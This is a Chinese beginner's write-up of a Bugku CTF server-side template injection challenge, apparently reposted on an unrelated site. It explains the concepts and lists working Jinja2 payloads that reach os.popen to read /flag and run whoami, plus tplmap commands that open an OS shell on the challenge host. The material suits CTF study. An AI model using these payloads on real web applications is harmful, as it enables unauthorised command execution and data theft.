【精选】Bugku CTF |
您所在的位置:网站首页 › ctf中web各种题目的解题姿势 › 【精选】Bugku CTF |
目录 知识前提 一.题目 二 .理解和学习 三.总结 我们在作为新手去开始进行这些题目的联系的时候只知道一些操作,而不知道原理,这里为新手简单介绍一些SSTI的概念和操作。 知识前提我们通过实例去一起学习。学习这个之前,我们要知道以下几点: (1)什么是CTF(Capture The Flag) (2)CTF题目类型(我们今天讲解的是WEB类型中注入问题): 1.MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。 2.PPC(Professionally Program Coder)类型,即编程类题目,题目涉及到编程算法,相比ACM较为容易。 3.CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。 4.PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。 5.REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。 6.STEGA(Steganography)类型,即隐写术,题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛者获取。 7.WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。 (3)这里我们关注点在WEB的注入(这里的注入特指模板注入)上:我们可以看见题目为SSTI,就知道这个是模板注入。 (ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。) 模板:简单理解类似于作文模板,只需要往里面填写需要的参数 模板引擎:
这里提供几个解释概念和基操很好的几个博客(非常适合新手去了解一些基础的概念): 浅谈模板引擎 - 木的树 - 博客园 (cnblogs.com) flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com) (4)可以用的平台(我们信安老师推荐):攻防世界、BUGKU、合天网安等(不仅限这个) 这后面的学习中这里用的是BUGKU 一.题目对于这一类的题目,虽然操作比较容易,但是没有去理解,会发现,得到答案后自己也一脸雾水,很迷糊。 方法1:这个主要使用的是python的flask框架的模板注入 (popen,中可找file读取文件) 手工注入payload:/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }} 就是将payload置于网页的URL之后,获取flag参数 结果:(之后输入即可) 理解这个payload: config为对象; __class__:返回对象所属类; __init__:类的初始方法,用以初始化实例; __globals__(也可用func_globals):以字典返回内建模块; OS就是返回字典里面的的一个模块 popen()返回一个输出流,通过read()读取里面的数据 ---------------------------------------------------------- payload的构造过程: (1)明确要利用的目标函数; (2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。 (3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。 (4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数) (5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入) (6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。 常用的payload: {{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}} // os._wrap_close类中的popen {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} // __import__方法 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} // __builtins__ {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} // Jinja2创建的url_for()方法 {{url_for.__globals__.os.popen("cat /flag").read()}} 其他的框架:
2.方法2:是使用 tplmap(较简单) 使用lunix环境 git clone https://github.com/epinna/tplmap cd tplmap sudo yum install python-pip -y||sudo apt install python-pip #安装py2的pip pip install -r requirements.txt 操作: #探测注入点 ./tplmap.py -u 'http://114.67.175.244:10463/?flag' #获取shell ./tplmap.py -u 'http://114.67.175.244:10463/?flag' --os-shell 三.总结这一篇是第一次去接触CTF所写,有批评指正。我从开始看着SSTI题型完全不知道思路,到现在目前知道做法以及知道一些基本的概念,只有这样才能去刷题。
引用: (33条消息) SSTI的payload构造思路_shawdow_bug的博客-CSDN博客_payload构造 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |